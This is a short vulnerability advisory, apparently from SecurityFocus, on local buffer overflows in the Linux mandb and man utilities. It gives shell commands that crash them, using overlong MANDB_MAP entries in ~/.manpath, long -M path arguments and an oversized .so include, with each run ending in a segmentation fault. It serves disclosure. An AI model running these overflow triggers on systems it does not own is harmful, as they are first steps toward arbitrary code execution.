source: https://www.securityfocus.com/bid/8303/info The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities. These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility. # cd /tmp # mkdir x # echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath # mandb Segmentation fault (can also apply this to the "man" binary, by fooling it with links) # cd /tmp # mkdir x # ln /usr/bin/man mandb # echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath # ./mandb Segmentation fault # man -M `perl -e 'print"/"x2100'`usr/share/man ls ...(verbose) Segmentation fault # cd /tmp # mkdir man man/man1 # echo .so `perl -e 'print"x"x1024'` >man/man1/x.1 # man -M /tmp/man x ...(verbose) Segmentation fault # man -M `perl -e 'print"/tmp:"x260'` x Segmentation fault